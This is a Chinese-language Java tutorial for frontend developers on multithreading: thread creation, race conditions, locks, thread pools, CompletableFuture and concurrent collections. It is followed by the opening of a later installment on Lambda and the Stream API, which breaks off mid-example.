[!IMPORTANT] 多线程是 Java 里最容易出 bug 也最难调试的部分。这个阶段的目的是让你能看懂、能写简单的并发代码、知道坑在哪里。真正深入的并发编程需要单独花几个月学 java.util.concurrent（JUC）包。

前端 vs Java 的并发模型

维度	JavaScript（浏览器/Node）	Java
线程模型	单线程 + 事件循环	多线程并行
异步	`Promise`、`async/await`、回调	`Thread`、`ExecutorService`、`CompletableFuture`
数据共享	天然隔离（除 `SharedArrayBuffer`）	直接共享堆内存
竞态条件	罕见（除非用 Worker）	常见，必须显式处理
锁	无	`synchronized`、`Lock`、原子类
通信	消息传递（`postMessage`）	共享内存 + 同步
阻塞	阻塞会卡死 UI/事件循环	阻塞只影响当前线程

心智模型的转换：

JS：await 让出控制权，事件循环调度下一个任务
Java：线程阻塞时 OS 调度另一个线程；多个线程可能真的同时执行同一段代码

创建线程的三种方式

方式一：继承 Thread

public class MyThread extends Thread {
    @Override
    public void run() {
        System.out.println("线程运行：" + getName());
    }
}

// 启动
MyThread t = new MyThread();
t.start();          // ✅ 启动新线程执行 run
// t.run();         // ❌ 只是普通方法调用，仍在当前线程

缺点：Java 单继承，继承了 Thread 就不能继承别的类。

方式二：实现 Runnable（推荐）

public class MyTask implements Runnable {
    @Override
    public void run() {
        System.out.println("任务运行：" + Thread.currentThread().getName());
    }
}

// 启动
Thread t = new Thread(new MyTask());
t.start();

// Lambda 简化
Thread t2 = new Thread(() -> System.out.println("hi"));
t2.start();

优点：任务和线程解耦，一个任务可以交给多个线程执行。

方式三：实现 Callable（有返回值）

import java.util.concurrent.*;

public class MyCallable implements Callable<Integer> {
    @Override
    public Integer call() throws Exception {
        Thread.sleep(1000);
        return 42;
    }
}

// 通过 ExecutorService 提交（不能直接给 Thread）
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<Integer> future = executor.submit(new MyCallable());
Integer result = future.get();     // 阻塞等待结果
executor.shutdown();

Callable<V> 与 Runnable 的区别：

Callable.call() 有返回值，可以抛受检异常
Runnable.run() 无返回值，只能抛非受检异常

线程生命周期

一个线程从创建到死亡会经历 6 种状态（Thread.State 枚举）：

NEW ──start()──▶ RUNNABLE ─────────────────────▶ TERMINATED
                    │  ▲
                    │  │
              wait/│  │notify/notifyAll
              join/│  │
              lock │  │
                    ▼  │
                 BLOCKED / WAITING / TIMED_WAITING

状态	含义
`NEW`	已创建但未 `start()`
`RUNNABLE`	可运行（包含"正在运行"和"就绪等待 CPU"）
`BLOCKED`	等待获取 `synchronized` 锁
`WAITING`	无限期等待（`wait()`、`join()`、`LockSupport.park()`）
`TIMED_WAITING`	限时等待（`sleep(ms)`、`wait(ms)`、`join(ms)`）
`TERMINATED`	执行完毕或异常终止

Thread 常用方法

Thread t = new Thread(() -> { ... });

// 启动
t.start();

// 当前线程
Thread.currentThread();
Thread.currentThread().getName();
Thread.currentThread().getId();

// 睡眠（毫秒）
Thread.sleep(1000);           // 当前线程暂停 1 秒，不释放锁

// 等待另一个线程结束
t.join();                     // 当前线程等 t 结束
t.join(5000);                 // 最多等 5 秒

// 中断（协作式）
t.interrupt();                // 给 t 发中断信号
t.isInterrupted();            // 查询是否被中断（不清除标志）
Thread.interrupted();         // 查询并清除标志

// 优先级（1~10，默认 5，仅供 JVM 参考，不保证）
t.setPriority(Thread.MAX_PRIORITY);

// 守护线程：所有非守护线程结束时，JVM 退出（不管守护线程）
t.setDaemon(true);            // 必须在 start() 之前设置

// 让步（提示调度器，不保证）
Thread.yield();

// 静态工厂（JDK 21+ 虚拟线程，另讲）
Thread vt = Thread.ofVirtual().start(() -> { ... });

正确处理 InterruptedException

sleep、wait、join 都会抛 InterruptedException。不要吞掉它：

// ❌ 反模式：吞掉中断信号
try {
    Thread.sleep(1000);
} catch (InterruptedException e) {
    // 什么都不做
}

// ✅ 方式一：重新抛出
public void doWork() throws InterruptedException {
    Thread.sleep(1000);
}

// ✅ 方式二：恢复中断状态
try {
    Thread.sleep(1000);
} catch (InterruptedException e) {
    Thread.currentThread().interrupt();   // 让上层知道被中断了
    return;
}

竞态条件与线程安全

经典反例：两个线程同时对一个变量做 count++：

public class RaceCondition {
    static int count = 0;

    public static void main(String[] args) throws InterruptedException {
        Runnable task = () -> {
            for (int i = 0; i < 100_000; i++) count++;
        };

        Thread t1 = new Thread(task);
        Thread t2 = new Thread(task);
        t1.start(); t2.start();
        t1.join(); t2.join();

        System.out.println(count);   // 期望 200000，实际可能是 130000~199999
    }
}

原因：count++ 不是原子操作，实际上是三步：读 count → 加 1 → 写回 count。两个线程同时执行时可能都读到同一个值，各自加 1 后写回，导致丢失一次自增。

解决方案有三种：

1. synchronized：加锁

public class SafeCounter {
    private int count = 0;

    // 同步方法：整个方法加锁（对象锁）
    public synchronized void increment() {
        count++;
    }

    // 同步代码块：更细粒度，指定锁对象
    public void incrementBlock() {
        synchronized (this) {
            count++;
        }
    }

    // 静态同步方法：类锁
    public static synchronized void reset() { ... }

    public int getCount() {
        synchronized (this) {
            return count;
        }
    }
}

synchronized 保证：

原子性：代码块内的操作要么全执行要么全不执行
可见性：一个线程修改后，其他线程立刻能看到
有序性：禁止代码块内外的指令重排

2. volatile：仅保证可见性

public class VolatileExample {
    private volatile boolean running = true;

    public void stop() {
        running = false;       // 修改后立刻对其他线程可见
    }

    public void run() {
        while (running) {      // 没有 volatile 可能死循环（读到缓存的旧值）
            // 干活
        }
    }
}

volatile 只保证可见性和有序性，不保证原子性：

private volatile int count = 0;
count++;                       // ❌ 仍然会丢失更新，volatile 救不了

适用场景：

状态标志位（running、shutdown）
双重检查锁定单例（DCL）
一写多读的场景

3. 原子类：CAS 无锁

java.util.concurrent.atomic 包里有一堆原子类，用 CPU 级别的 CAS（Compare-And-Swap）指令实现无锁并发：

import java.util.concurrent.atomic.AtomicInteger;

AtomicInteger count = new AtomicInteger(0);
count.incrementAndGet();       // ++count，返回新值
count.getAndIncrement();       // count++，返回旧值
count.addAndGet(10);           // count += 10
count.compareAndSet(5, 10);    // 如果当前是 5 就设为 10
count.get();

性能对比（单线程递增 1 亿次）：

普通 int：约 100ms
AtomicInteger：约 500ms
synchronized：约 3000ms

原子类是低竞争场景的首选，高竞争时可能反而不如锁（因为 CAS 失败会自旋）。

其他常用原子类：AtomicLong、AtomicBoolean、AtomicReference、LongAdder（高并发计数器，比 AtomicLong 更快）。

死锁

死锁指两个或多个线程互相等待对方持有的锁，永远无法继续：

public class Deadlock {
    static Object lockA = new Object();
    static Object lockB = new Object();

    public static void main(String[] args) {
        new Thread(() -> {
            synchronized (lockA) {
                sleep(100);
                synchronized (lockB) {       // 等待线程 2 释放 lockB
                    System.out.println("线程 1 完成");
                }
            }
        }).start();

        new Thread(() -> {
            synchronized (lockB) {
                sleep(100);
                synchronized (lockA) {       // 等待线程 1 释放 lockA → 死锁
                    System.out.println("线程 2 完成");
                }
            }
        }).start();
    }
}

死锁的四个必要条件（破坏任一即可避免）：

互斥：资源同时只能被一个线程持有
请求与保持：持有资源的同时请求新资源
不可剥夺：不能强制抢走别人的资源
循环等待：线程之间形成等待环

避免死锁的实用技巧：

固定加锁顺序：所有线程都按 A→B 的顺序加锁，就不会循环等待
使用 tryLock 超时：ReentrantLock.tryLock(1, TimeUnit.SECONDS)，超时放弃
减少锁的粒度和持有时间：不要在持锁时做 IO 或长时间计算
使用并发工具类：ConcurrentHashMap、BlockingQueue 内部已经处理好

排查死锁：

jstack <pid>：打印所有线程栈，会明确指出死锁
JConsole / VisualVM：图形化工具，"检测死锁"按钮
ThreadMXBean.findDeadlockedThreads()：代码里检测

线程池 ExecutorService

永远不要在生产代码里 new Thread()，线程的创建和销毁开销大，且不受控。用线程池复用线程：

import java.util.concurrent.*;

ExecutorService executor = Executors.newFixedThreadPool(10);   // 固定 10 个线程

// 提交任务
executor.submit(() -> System.out.println("task 1"));
executor.submit(() -> System.out.println("task 2"));

// 提交有返回值的任务
Future<Integer> future = executor.submit(() -> 42);
Integer result = future.get();          // 阻塞等待

// 优雅关闭
executor.shutdown();                    // 不再接受新任务，等已提交的执行完
executor.awaitTermination(60, TimeUnit.SECONDS);

// 强制关闭
executor.shutdownNow();                 // 中断所有任务

常用工厂方法

// 固定大小：并发数可控，最常用
Executors.newFixedThreadPool(10);

// 单线程：保证任务按提交顺序执行
Executors.newSingleThreadExecutor();

// 可缓存：线程数按需增长，60 秒空闲回收
Executors.newCachedThreadPool();

// 定时任务
ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(4);
scheduler.schedule(task, 5, TimeUnit.SECONDS);             // 延迟 5 秒执行
scheduler.scheduleAtFixedRate(task, 0, 1, TimeUnit.SECONDS); // 每秒执行
scheduler.scheduleWithFixedDelay(task, 0, 1, TimeUnit.SECONDS);

[!WARNING] 阿里巴巴 Java 开发手册明确禁止在生产代码用 Executors.newFixedThreadPool 和 newCachedThreadPool：

newFixedThreadPool 用无界队列，任务堆积会 OOM

newCachedThreadPool 用无界线程数，线程爆炸会 OOM

应该显式用 ThreadPoolExecutor 构造：
ThreadPoolExecutor executor = new ThreadPoolExecutor(
    10,                                    // 核心线程数
    50,                                    // 最大线程数
    60L, TimeUnit.SECONDS,                 // 空闲线程存活时间
    new ArrayBlockingQueue<>(1000),        // 有界队列
    new ThreadPoolExecutor.CallerRunsPolicy()   // 拒绝策略
);

线程池参数详解

提交任务时的流程：
1. 线程数 < corePoolSize → 新建核心线程执行
2. 线程数 >= corePoolSize → 放入队列
3. 队列满了 → 新建线程直到 maximumPoolSize
4. 达到 maximumPoolSize 且队列满 → 触发拒绝策略

拒绝策略（RejectedExecutionHandler）：

AbortPolicy（默认）：抛 RejectedExecutionException
CallerRunsPolicy：让调用者线程自己执行（降低提交速度）
DiscardPolicy：静默丢弃
DiscardOldestPolicy：丢弃队列里最老的任务

Future 与 CompletableFuture

Future：异步结果占位符

ExecutorService executor = Executors.newFixedThreadPool(4);

Future<String> future = executor.submit(() -> {
    Thread.sleep(1000);
    return "done";
});

// 阻塞等待结果
String result = future.get();                  // 无限期等待
String result2 = future.get(5, TimeUnit.SECONDS);   // 最多等 5 秒

future.isDone();       // 是否完成
future.isCancelled();  // 是否被取消
future.cancel(true);   // 尝试取消（true 表示中断正在执行的线程）

Future 的痛点：

get() 阻塞，无法组合多个 Future
无法链式调用（类似 Promise.then）
无法注册完成回调

CompletableFuture（JDK 8+）：真正的 Promise

Java 版的 Promise，支持链式调用、组合、异常处理：

import java.util.concurrent.CompletableFuture;

// 创建
CompletableFuture<String> cf = CompletableFuture.supplyAsync(() -> {
    sleep(1000);
    return "hello";
});

// 链式转换（类似 Promise.then）
CompletableFuture<Integer> result = cf
    .thenApply(String::length)              // map
    .thenApply(len -> len * 2);

// 消费（无返回值）
cf.thenAccept(s -> System.out.println(s));
cf.thenRun(() -> System.out.println("done"));

// 组合两个 Future
CompletableFuture<String> f1 = CompletableFuture.supplyAsync(() -> "hello");
CompletableFuture<String> f2 = CompletableFuture.supplyAsync(() -> "world");

f1.thenCombine(f2, (a, b) -> a + " " + b)
  .thenAccept(System.out::println);         // "hello world"

// 等待所有完成
CompletableFuture.allOf(f1, f2).join();

// 等待任意一个完成
CompletableFuture.anyOf(f1, f2).join();

// 异常处理
cf.exceptionally(ex -> "fallback")          // 类似 Promise.catch
  .handle((result, ex) -> {                 // 无论成功失败都调用
      if (ex != null) return "error";
      return result.toUpperCase();
  });

// 显式完成
CompletableFuture<String> manual = new CompletableFuture<>();
manual.complete("done");                    // 手动设置结果
manual.completeExceptionally(new RuntimeException("fail"));

// 指定线程池
ExecutorService pool = Executors.newFixedThreadPool(4);
CompletableFuture.supplyAsync(() -> work(), pool);

API 对照 Promise：

JavaScript Promise	CompletableFuture
`new Promise((res, rej) => ...)`	`new CompletableFuture<>()`
`Promise.resolve(x)`	`CompletableFuture.completedFuture(x)`
`.then(fn)`	`.thenApply(fn)`（有返回）/ `.thenAccept(fn)`（无返回）
`.catch(fn)`	`.exceptionally(fn)`
`.finally(fn)`	`.whenComplete((r, e) -> ...)`
`Promise.all([...])`	`CompletableFuture.allOf(...)`
`Promise.race([...])`	`CompletableFuture.anyOf(...)`
`await promise`	`future.get()` / `future.join()`

并发集合

普通的 HashMap、ArrayList 不是线程安全的。多线程场景用 java.util.concurrent 包里的替代品：

单线程版	并发版	特点
`HashMap`	`ConcurrentHashMap`	分段锁 / CAS，高并发首选
`TreeMap`	`ConcurrentSkipListMap`	并发有序 Map
`HashSet`	`ConcurrentHashMap.newKeySet()`	并发 Set
`ArrayList`	`CopyOnWriteArrayList`	写时复制，读多写少场景
`LinkedList`	`ConcurrentLinkedQueue`	无界并发队列
`ArrayDeque`	`LinkedBlockingQueue` / `ArrayBlockingQueue`	阻塞队列，生产者-消费者模型

// ConcurrentHashMap：线程安全的 HashMap
Map<String, Integer> map = new ConcurrentHashMap<>();
map.put("a", 1);
map.computeIfAbsent("b", k -> 2);
map.merge("a", 1, Integer::sum);         // 原子操作

// CopyOnWriteArrayList：读多写少
List<String> list = new CopyOnWriteArrayList<>();
list.add("a");
for (String s : list) { ... }            // 迭代不会抛 ConcurrentModificationException

// BlockingQueue：生产者消费者
BlockingQueue<String> queue = new LinkedBlockingQueue<>(100);
queue.put("item");                       // 队列满时阻塞
String item = queue.take();              // 队列空时阻塞
queue.offer("item", 5, TimeUnit.SECONDS); // 超时放弃

注意：ConcurrentHashMap 的单个方法是线程安全的，但多个方法的组合仍需要外部同步：

// ❌ 不是原子的
if (!map.containsKey("k")) {
    map.put("k", v);
}

// ✅ 用原子方法
map.putIfAbsent("k", v);
map.computeIfAbsent("k", key -> computeValue());

Lock 与 ReentrantLock

synchronized 是 JVM 内置的锁，简单但功能有限。java.util.concurrent.locks.Lock 接口提供了更强大的锁：

import java.util.concurrent.locks.ReentrantLock;

ReentrantLock lock = new ReentrantLock();

// 基本用法
lock.lock();
try {
    // 临界区
} finally {
    lock.unlock();     // 必须在 finally 里释放！
}

// 尝试加锁（非阻塞）
if (lock.tryLock()) {
    try { ... } finally { lock.unlock(); }
} else {
    // 没拿到锁
}

// 超时尝试
if (lock.tryLock(1, TimeUnit.SECONDS)) {
    try { ... } finally { lock.unlock(); }
}

// 公平锁：按等待顺序分配
ReentrantLock fairLock = new ReentrantLock(true);

// 可中断的加锁
lock.lockInterruptibly();

Lock vs synchronized：

维度	`synchronized`	`Lock`
释放	自动（离开代码块）	手动 `unlock()`，必须在 `finally`
中断响应	不可中断	`lockInterruptibly()` 可中断
超时	无	`tryLock(timeout)`
公平性	非公平	可选公平/非公平
条件变量	只有一个（`wait/notify`）	多个 `Condition`
性能（现代 JVM）	差不多	差不多

结论：日常首选 synchronized（简单、不会忘记释放）。只有需要超时、可中断、公平锁、多条件变量时才用 Lock。

ReadWriteLock：读写锁

读多写少的场景，允许多个读线程同时进入，写线程独占：

import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;

ReadWriteLock rwLock = new ReentrantReadWriteLock();

// 读操作
rwLock.readLock().lock();
try { return data; } finally { rwLock.readLock().unlock(); }

// 写操作
rwLock.writeLock().lock();
try { data = newValue; } finally { rwLock.writeLock().unlock(); }

ThreadLocal：线程局部变量

每个线程持有独立的副本，天然线程安全，常用于用户上下文、日期格式化器等场景：

public class UserContext {
    private static final ThreadLocal<String> CURRENT_USER = new ThreadLocal<>();

    public static void set(String user) { CURRENT_USER.set(user); }
    public static String get() { return CURRENT_USER.get(); }
    public static void clear() { CURRENT_USER.remove(); }
}

// 使用
UserContext.set("Tom");
System.out.println(UserContext.get());   // "Tom"

// 线程池场景务必 clear，避免内存泄漏
try {
    UserContext.set("Tom");
    // 业务代码
} finally {
    UserContext.clear();
}

常见用途：

SimpleDateFormat（非线程安全）→ 用 ThreadLocal<SimpleDateFormat> 或换 DateTimeFormatter（线程安全）
数据库连接、事务上下文
请求作用域的用户信息

[!CAUTION] ThreadLocal 在线程池中特别容易内存泄漏：线程复用不会销毁，ThreadLocal 里的值也不会释放。用完必须调用 remove()。

虚拟线程（JDK 21+）

JDK 21 正式引入虚拟线程（Virtual Threads，Project Loom），是 Java 并发的重大革新：

// 传统平台线程：受 OS 限制，最多几千个
Thread t = new Thread(() -> work());

// 虚拟线程：轻量级，可以创建百万个
Thread vt = Thread.ofVirtual().start(() -> work());

// 用 ExecutorService 更方便
try (ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor()) {
    for (int i = 0; i < 1_000_000; i++) {
        executor.submit(() -> {
            Thread.sleep(1000);
            return "done";
        });
    }
}

虚拟线程的意义：写"同步阻塞"的代码，享受"异步非阻塞"的性能，简化高并发编程。IO 密集型应用的未来方向。

综合小例子：并发下载器

把线程池、Future、并发集合、原子类串起来：

package com.example.downloader;

import java.util.*;
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;

public class ConcurrentDownloader {
    private final ExecutorService executor;
    private final Map<String, byte[]> cache = new ConcurrentHashMap<>();
    private final AtomicInteger successCount = new AtomicInteger();
    private final AtomicInteger failureCount = new AtomicInteger();

    public ConcurrentDownloader(int poolSize) {
        this.executor = Executors.newFixedThreadPool(poolSize);
    }

    public void downloadAll(List<String> urls) throws InterruptedException {
        List<CompletableFuture<Void>> futures = urls.stream()
            .map(this::downloadAsync)
            .toList();

        // 等待全部完成
        CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join();
    }

    private CompletableFuture<Void> downloadAsync(String url) {
        return CompletableFuture
            .supplyAsync(() -> fetch(url), executor)
            .thenAccept(data -> {
                if (data != null) {
                    cache.put(url, data);
                    successCount.incrementAndGet();
                    System.out.printf("[OK] %s (%d bytes)%n", url, data.length);
                } else {
                    failureCount.incrementAndGet();
                    System.out.printf("[FAIL] %s%n", url);
                }
            })
            .exceptionally(ex -> {
                failureCount.incrementAndGet();
                System.err.println("[ERROR] " + url + ": " + ex.getMessage());
                return null;
            });
    }

    private byte[] fetch(String url) {
        // 模拟网络请求
        try {
            Thread.sleep(ThreadLocalRandom.current().nextInt(100, 500));
            if (url.contains("fail")) return null;
            return ("data-of-" + url).getBytes();
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            return null;
        }
    }

    public void shutdown() {
        executor.shutdown();
        try {
            if (!executor.awaitTermination(60, TimeUnit.SECONDS)) {
                executor.shutdownNow();
            }
        } catch (InterruptedException e) {
            executor.shutdownNow();
            Thread.currentThread().interrupt();
        }
    }

    public void printStats() {
        System.out.printf("成功: %d, 失败: %d, 缓存: %d%n",
            successCount.get(), failureCount.get(), cache.size());
    }

    public static void main(String[] args) throws Exception {
        List<String> urls = List.of(
            "https://example.com/a",
            "https://example.com/b",
            "https://example.com/fail-1",
            "https://example.com/c",
            "https://example.com/d"
        );

        ConcurrentDownloader downloader = new ConcurrentDownloader(4);
        try {
            long start = System.currentTimeMillis();
            downloader.downloadAll(urls);
            long elapsed = System.currentTimeMillis() - start;
            System.out.printf("总耗时：%dms%n", elapsed);
            downloader.printStats();
        } finally {
            downloader.shutdown();
        }
    }
}

这段代码综合运用了：

ExecutorService 线程池（不用手动 new Thread）
CompletableFuture 链式调用（supplyAsync → thenAccept → exceptionally）
ConcurrentHashMap 线程安全缓存
AtomicInteger 无锁计数器
优雅关闭：shutdown + awaitTermination + shutdownNow 三段式

复习卡片

// 创建线程
Thread t = new Thread(() -> work());
t.start();

// Callable + Future
ExecutorService exec = Executors.newFixedThreadPool(10);
Future<Integer> f = exec.submit(() -> 42);
Integer r = f.get();
exec.shutdown();

// 线程安全：三选一
synchronized (lock) { count++; }        // 加锁
private volatile boolean running;       // 仅可见性
AtomicInteger count = new AtomicInteger();   // 无锁

// 死锁避免：固定加锁顺序 + tryLock 超时

// CompletableFuture（Java 版 Promise）
CompletableFuture.supplyAsync(() -> work())
    .thenApply(String::length)
    .thenAccept(System.out::println)
    .exceptionally(ex -> { log.error("", ex); return null; });

CompletableFuture.allOf(f1, f2).join();

// 并发集合
ConcurrentHashMap<K, V>       // 替代 HashMap
CopyOnWriteArrayList<E>       // 替代 ArrayList（读多写少）
LinkedBlockingQueue<E>        // 生产者-消费者

// Lock
ReentrantLock lock = new ReentrantLock();
lock.lock();
try { ... } finally { lock.unlock(); }

if (lock.tryLock(1, TimeUnit.SECONDS)) {
    try { ... } finally { lock.unlock(); }
}

// ThreadLocal（记得 remove）
ThreadLocal<User> ctx = new ThreadLocal<>();
try { ctx.set(user); ... } finally { ctx.remove(); }

// 虚拟线程（JDK 21+）
Thread.ofVirtual().start(() -> work());
Executors.newVirtualThreadPerTaskExecutor();

记忆要点：

生产代码永远用线程池，不要 new Thread()
线程安全三选一：synchronized（简单）/ volatile（状态位）/ 原子类（低竞争计数）
volatile 只保证可见性，不保证原子性；count++ 用原子类或锁
处理 InterruptedException 不要吞，要么抛出要么 Thread.currentThread().interrupt()
死锁避免：固定加锁顺序、tryLock 超时、减少锁粒度
CompletableFuture = Java 版 Promise，链式调用、组合、异常处理都有
并发集合首选 ConcurrentHashMap，读多写少用 CopyOnWriteArrayList
ThreadLocal 用完必须 remove()，尤其在线程池里
JDK 21 的虚拟线程是未来方向，IO 密集型场景优先尝试

结语

到这里整个 Java 学习路线就走完了。回头看看这十一个阶段：

一 ~ 四：语法地基（环境、类型、流程、数组字符串）
五 ~ 七：OOP 三件套（类、继承多态、接口抽象类）
八 ~ 十：日常业务代码的核心工具（集合、异常泛型、Lambda Stream）
十一：并发入门

一个前端工程师从零到能写业务 Java 代码，走完这些大概需要 2~3 周认真投入的时间。之后就是靠写项目、读源码、看《Effective Java》持续深化。

接下来的方向（不在这个系列里）：

构建工具：Maven / Gradle，项目结构与依赖管理
单元测试：JUnit 5、Mockito、AssertJ
主流框架：Spring Boot（后端）、Android（移动端）
JVM 深入：内存模型、GC、类加载、性能调优
JUC 深入：java.util.concurrent 剩余部分、AQS、锁优化
虚拟线程：Project Loom 完整用法

祝学习顺利。有代码可跑，有笔记可查，就不算白学。

Java 阶段十：Lambda 与 Stream API

Sat, 05 Sep 2026 01:00:00 GMT

前端工程师学 Java 最开心的一章来了。JDK 8 引入的 Lambda 和 Stream API 让 Java 有了跟 JS 数组方法几乎一一对应的能力：map、filter、reduce、forEach 全都有。这一篇把函数式编程在 Java 里的完整玩法过一遍。

从匿名内部类到 Lambda

在 JDK 8 之前，Java 想传"一段代码"给方法只能用匿名内部类，非常啰嗦：

// JDK 8 之前
Runnable r1 = new Runnable() {
    @Override
    public void run() {
        System.out.println("running");
    }
};

// JDK 8+ 用 Lambda
Runnable r2 = () -> System.out.println("running");

// 对比 JS
const r3 = () => console.log("running");

Lambda 表达式（Lambda Expression）本质是"一段可以传递的代码"，语法：

(参数列表) -> { 方法体 }

跟 JS 箭头函数的对比：

JavaScript	Java
`() => console.log("hi")`	`() -> System.out.println("hi")`
`x => x * 2`	`x -> x * 2`
`(x, y) => x + y`	`(x, y) -> x + y`
`(x, y) => { return x + y; }`	`(x, y) -> { return x + y; }`
`async () => { ... }`	——（Java Lambda 不支持 async）

主要差异：

Java 用 ->，JS 用 =>
Java Lambda 的参数类型可以显式声明：(int x, int y) -> x + y
Java Lambda 只能实现函数式接口（只有一个抽象方法的接口），不是"任意函数"
Java Lambda 里的变量捕获是只读的（ effectively final），不能修改外层变量

函数式接口

函数式接口（Functional Interface）是只有一个抽象方法的接口，Lambda 表达式的类型就是它：

@FunctionalInterface
public interface MyFunction {
    void apply();          // 唯一的抽象方法
    // 可以有默认方法、静态方法
    default void log() { System.out.println("logged"); }
}

MyFunction f = () -> System.out.println("hi");
f.apply();

@FunctionalInterface 注解是可选的，加了之后编译器会检查是否只有一个抽象方法。

Java 标准库预定义了 40+ 个常用函数式接口，位于 java.util.function 包，其中最重要的四个：

四大内置函数式接口

接口	抽象方法	语义	JS 对应
`Function<T, R>`	`R apply(T t)`	输入 T 输出 R	`x => y`
`Predicate<T>`	`boolean test(T t)`	输入 T 输出 boolean	`x => true/false`
`Consumer<T>`	`void accept(T t)`	输入 T 无输出	`x => { ... }`
`Supplier<T>`	`T get()`	无输入输出 T	`() => x`

import java.util.function.*;

// Function：转换
Function<String, Integer> strLen = s -> s.length();
strLen.apply("hello");      // 5

// Predicate：判断
Predicate<Integer> isEven = n -> n % 2 == 0;
isEven.test(4);             // true

// Consumer：消费
Consumer<String> printer = s -> System.out.println(s);
printer.accept("hi");       // 打印 hi

// Supplier：生产
Supplier<Double> random = () -> Math.random();
random.get();               // 0.xxx

// 基本类型特化版本（避免装箱开销）
IntFunction<String> numToStr = n -> "num:" + n;
ToIntFunction<String> strToNum = s -> s.length();
IntPredicate isPositive = n -> n > 0;
IntConsumer print = System.out::println;

函数式接口的组合：

Function<Integer, Integer> plus1 = x -> x + 1;
Function<Integer, Integer> times2 = x -> x * 2;

plus1.andThen(times2).apply(5);    // (5+1)*2 = 12
plus1.compose(times2).apply(5);    // (5*2)+1 = 11

Predicate<Integer> positive = n -> n > 0;
Predicate<Integer> even = n -> n % 2 == 0;

positive.and(even).test(4);        // true
positive.or(even).test(-3);        // false
positive.negate().test(-1);        // true

Consumer<String> print = System.out::println;
Consumer<String> log = s -> System.out.println("[LOG] " + s);
print.andThen(log).accept("hi");   // 先打印再打日志

Lambda 的变量捕获

Lambda 里可以引用外层作用域的变量，但必须是 final 或 effectively final（事实上不可变）：

public void method() {
    int base = 10;                      // effectively final
    Function<Integer, Integer> add = x -> x + base;
    add.apply(5);                       // 15

    // ❌ 修改 base 后 Lambda 就不能引用了
    // base = 20;                        // 编译报错
}

对比 JS：JS 的闭包可以修改外层变量，Java 不行。这个限制是为了并发安全和语义清晰。

变通：如果确实要"修改"，用数组或 AtomicInteger：

int[] counter = {0};
list.forEach(x -> counter[0]++);         // 修改数组元素不算改引用

AtomicInteger total = new AtomicInteger();
list.forEach(x -> total.addAndGet(x));

方法引用（Method Reference）

当 Lambda 只是调用一个已有方法时，可以用 :: 简写：

// 四种形式

// 1. 静态方法：ClassName::staticMethod
Function<String, Integer> f1 = Integer::parseInt;   // s -> Integer.parseInt(s)

// 2. 特定对象的实例方法：instance::method
String prefix = "LOG: ";
Consumer<String> c1 = prefix::concat;               // s -> prefix.concat(s)

// 3. 任意对象的实例方法：ClassName::method
Function<String, Integer> f2 = String::length;      // s -> s.length()
Consumer<String> c2 = System.out::println;          // s -> System.out.println(s)

// 4. 构造器：ClassName::new
Supplier<ArrayList<String>> s1 = ArrayList::new;    // () -> new ArrayList<>()
Function<String, String> f3 = String::new;          // s -> new String(s)

方法引用是 Lambda 的语法糖，读起来更简洁：

// Lambda
list.forEach(x -> System.out.println(x));
// 方法引用
list.forEach(System.out::println);

// Lambda
list.sort((a, b) -> a.compareTo(b));
// 方法引用
list.sort(Comparable::compareTo);

Stream API

Stream（流）是 Java 8 引入的声明式数据处理管道，跟 JS 的数组方法链式调用非常像：

// JS 风格
const result = users
    .filter(u => u.age >= 18)
    .map(u => u.name)
    .sort()
    .slice(0, 10);

// Java Stream 风格
List<String> result = users.stream()
    .filter(u -> u.getAge() >= 18)
    .map(User::getName)
    .sorted()
    .limit(10)
    .toList();

Stream 不是数据结构，而是"数据的一次性视图"。它有三个特点：

不修改原集合：每次操作返回新的 Stream
惰性求值：中间操作不会立即执行，只有终止操作触发时才计算
只能消费一次：一个 Stream 用完就不能再用

Stream 的三段式结构

┌─────────────┐   ┌──────────────────┐   ┌──────────────┐
│  Source     │──▶│ Intermediate Ops │──▶│ Terminal Op  │
│  数据源     │   │ 中间操作（0~N）   │   │ 终止操作（1）│
└─────────────┘   └──────────────────┘   └──────────────┘
  collection.       .filter()             .collect()
    stream()        .map()                .forEach()
  Stream.of(...)    .sorted()             .count()
  IntStream.range   .distinct()           .reduce()

创建 Stream

import java.util.stream.*;

// 从集合
List<String> list = List.of("a", "b", "c");
Stream<String> s1 = list.stream();
Stream<String> s2 = list.parallelStream();     // 并行流

// 从数组
String[] arr = {"a", "b"};
Stream<String> s3 = Arrays.stream(arr);

// 从固定值
Stream<String> s4 = Stream.of("a", "b", "c");
Stream<Integer> s5 = Stream.of(1, 2, 3);

// 空流
Stream<String> s6 = Stream.empty();

// 数字流（避免装箱，性能高）
IntStream ints = IntStream.of(1, 2, 3);
IntStream range = IntStream.range(0, 10);       // 0~9
IntStream rangeClosed = IntStream.rangeClosed(1, 10);  // 1~10

// 无限流
Stream<Integer> iterate = Stream.iterate(0, n -> n + 2);   // 0, 2, 4, ...
Stream<Double> generate = Stream.generate(Math::random);

// 从文件（每行一个元素）
try (Stream<String> lines = Files.lines(Path.of("a.txt"))) {
    lines.forEach(System.out::println);
}

中间操作

中间操作返回新的 Stream，惰性执行，只有终止操作触发时才真正跑。

filter：过滤

users.stream()
    .filter(u -> u.getAge() >= 18)
    .filter(u -> u.getName().startsWith("T"))
    .toList();

对应 JS：users.filter(u => u.age >= 18)。

map：转换

users.stream()
    .map(User::getName)              // Stream<User> → Stream<String>
    .map(String::toUpperCase)
    .toList();

对应 JS：users.map(u => u.name)。

flatMap：扁平化

处理"每个元素展开成多个"的场景：

// 把每个订单的商品列表拼成一个扁平流
List<Order> orders = ...;
List<Product> allProducts = orders.stream()
    .flatMap(o -> o.getProducts().stream())
    .toList();

// 拆分字符串
Stream.of("a,b", "c,d")
    .flatMap(s -> Arrays.stream(s.split(",")))
    .toList();   // ["a", "b", "c", "d"]

对应 JS：array.flatMap(x => x.items)。

distinct：去重

Stream.of(1, 2, 2, 3, 3, 3).distinct().toList();   // [1, 2, 3]

依赖元素的 equals。

sorted：排序

users.stream()
    .sorted()                                              // 自然顺序（要求 Comparable）
    .sorted(Comparator.comparing(User::getName))           // 按名字
    .sorted(Comparator.comparing(User::getAge).reversed()) // 按年龄降序
    .toList();

对应 JS：arr.sort((a, b) => ...)。

limit / skip：切片

Stream.iterate(1, n -> n + 1)
    .skip(10)           // 跳过前 10 个
